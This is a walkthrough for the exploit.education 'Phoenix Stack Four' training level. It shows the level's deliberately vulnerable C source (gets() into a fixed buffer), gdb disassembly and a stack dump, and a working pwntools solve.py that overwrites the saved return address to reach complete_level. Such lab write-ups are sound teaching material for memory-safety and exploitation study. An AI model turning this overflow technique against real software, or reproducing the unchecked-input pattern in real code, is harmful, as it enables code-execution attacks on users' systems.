Phoenix - Stack Four
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}
void start_level() {
char buffer[64];
void *ret;
gets(buffer);
ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}
int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}
The goal of this level is to overwrite the return address of start_level function to return to complete_level function instead of main.
First we get the address of complete_level function:
$ gdb -q /opt/phoenix/amd64/stack-four
Reading symbols from /opt/phoenix/amd64/stack-four...(no debugging symbols found)...done.
gef➤ print complete_level
$1 = {<text variable, no debug info>} 0x40061d <complete_level>
So we must overwrite RIP with the address 0x40061d.
gef➤ disassemble start_level
Dump of assembler code for function start_level:
0x0000000000400635 <+0>: push rbp
0x0000000000400636 <+1>: mov rbp,rsp
0x0000000000400639 <+4>: sub rsp,0x50
0x000000000040063d <+8>: lea rax,[rbp-0x50]
0x0000000000400641 <+12>: mov rdi,rax
0x0000000000400644 <+15>: call 0x400470 <gets@plt>
0x0000000000400649 <+20>: mov rax,QWORD PTR [rbp+0x8]
.....
So to overwrite RIP we must enter (0x50 junk + 8 bytes for RBP + address of complete_level).
gef➤ b *0x0000000000400649
Breakpoint 1 at 0x400649
gef➤ r <<< $(python solve.py)
Starting program: /opt/phoenix/amd64/stack-four <<< $(python solve.py)
Welcome to phoenix/stack-four, brought to you by https://exploit.education
Breakpoint 1, 0x0000000000400649 in start_level ()
......
gef➤ info registers rbp
rbp 0x7fffffffe630 0x7fffffffe630
gef➤ x/12xg $rsp
0x7fffffffe5e0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe600: 0x4141414141414141 0x4141414141414141
0x7fffffffe610: 0x4141414141414141 0x4141414141414141
0x7fffffffe620: 0x4141414141414141 0x4141414141414141
0x7fffffffe630: 0x4242424242424242 0x000000000040061d
Here we can see that RBP was overwritten to 0x4242424242424242 and after it is the value of RIP 0x000000000040061d which is the address of complete_level function.
Solution:
# solve.py
from pwn import *
buff = ""
buff += 'A'*80 # junk
buff += 'BBBBBBBB' # RBP value
buff += p64(0x40061d) # RIP value
print(buff)
$ python solve.py | /opt/phoenix/amd64/stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!